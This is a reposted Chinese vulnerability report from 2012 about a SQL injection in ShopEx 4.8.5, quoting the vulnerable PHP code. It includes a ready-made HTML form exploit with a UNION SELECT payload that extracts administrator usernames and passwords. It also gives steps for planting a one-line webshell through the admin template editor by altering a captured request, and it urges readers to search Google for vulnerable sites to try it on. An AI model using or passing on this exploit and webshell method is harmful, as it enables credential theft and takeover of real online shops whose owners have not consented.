热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

SHOPEX 4.8.5 注入漏洞以及后台拿SHELL

发布时间:2012-08-06 10:20文章来源:wooyun文章作者:fyouckoff 点击次数:
摘要:漏洞作者: fyouckoff 提交时间: 2012-06-21 公开时间: 2012-08-05 漏洞类型: SQL注射漏洞 简要描述: SHOPEX 4.8.5 注入漏洞以及后台拿SHELL shopex很久没有更新了啊亲,非得每次出漏洞了才更新一下下吗? wooyun提示:漏洞在上报乌云之前已经在外界披露...

漏洞作者: fyouckoff

提交时间: 2012-06-21
公开时间: 2012-08-05

漏洞类型: SQL注射漏洞
简要描述:

SHOPEX 4.8.5 注入漏洞以及后台拿SHELL
shopex很久没有更新了啊亲,非得每次出漏洞了才更新一下下吗?

wooyun提示:漏洞在上报乌云之前已经在外界披露,请紧急处理
详细说明:

SHOPEX 4.8.5 注入漏洞以及后台拿SHELL

漏洞文件:
漏洞核心函数 \core\model_v5\trading\mdl.goods.php
漏洞代码:

 

  1. public function getProducts( $gid, $pid = 0 ) 
  2. $sqlWhere = ""
  3. if ( 0 < $pid ) 
  4. $sqlWhere = " AND A.product_id = ".$pid; //www.lpboke.com 没过滤 ~~~~~~ 
  5. $sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere; 
  6. return $this->db->select( $sql ); 
  7.  
  8. \core\shop\controller\ctl.product.php 文件调用 
  9.  
  10. function gnotify($goods_id=0,$product_id=0){ 
  11.  
  12. if($_POST['goods']['goods_id']){ 
  13. $goods_id = $_POST['goods']['goods_id']; 
  14. $product_id = $_POST['goods']['product_id']; 
  15. $this->id =$goods_id; 
  16. $objGoods = &$this->system->loadModel('trading/goods'); 
  17. $aProduct = $objGoods->getProducts($goods_id, $product_id);//www.lpboke.com 直接带进去了 
  18.  
  19. $this->pagedata['goods'] = $aProduct[0]; 
  20. if($this->member[member_id]){ 
  21. $objMember = &$this->system->loadModel('member/member'); 
  22. $aMemInfo = $objMember->getFieldById($this->member[member_id], array('email')); 
  23. $this->pagedata['member'] = $aMemInfo; 
  24.  
  25. $this->output(); 

 

EXP: 保存为html使用即可

 <html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="http://www.yunsec.net/?product-gnotify" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<input type="submit" value="">
</form>



网址请修改:http://www.yunsec.net/?product-gnotify
本程序只能用于网站安全检测
禁止用于非法途径,产生的一切后果与作者无关!
 

 

拿shell方法….
第一步 页面管理 修改模版 然后选一个XML编辑
开始用 live http 抓包 你们懂的 然后把第一个POST包给抓出来
然后改包 包要这么改 我研究了半天 尼玛的菊花红
id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=
解释一下 id是你选择的模版文件夹名称 后面的info.xml 是你修改的XML文件 tmpid= 你们懂的 就是模版文件夹 然后 name 是你提交的文件名字 file_source 是后门或者shel
我这里是一句话 你们懂的 然后提交了之后 地址是这样的http://Madman.in/themes/文件名称/你的木马名称

随便google下“powered by shopex v4.8.5”,找个站测试一下

漏洞证明:

SHOPEX 4.8.5 注入漏洞以及后台拿SHELL

 

标签分类: 注入漏洞 webshell shopex

上一篇:cmseasy xss+后台getshell
下一篇:74CMS 人才系统注入全版本通杀进后台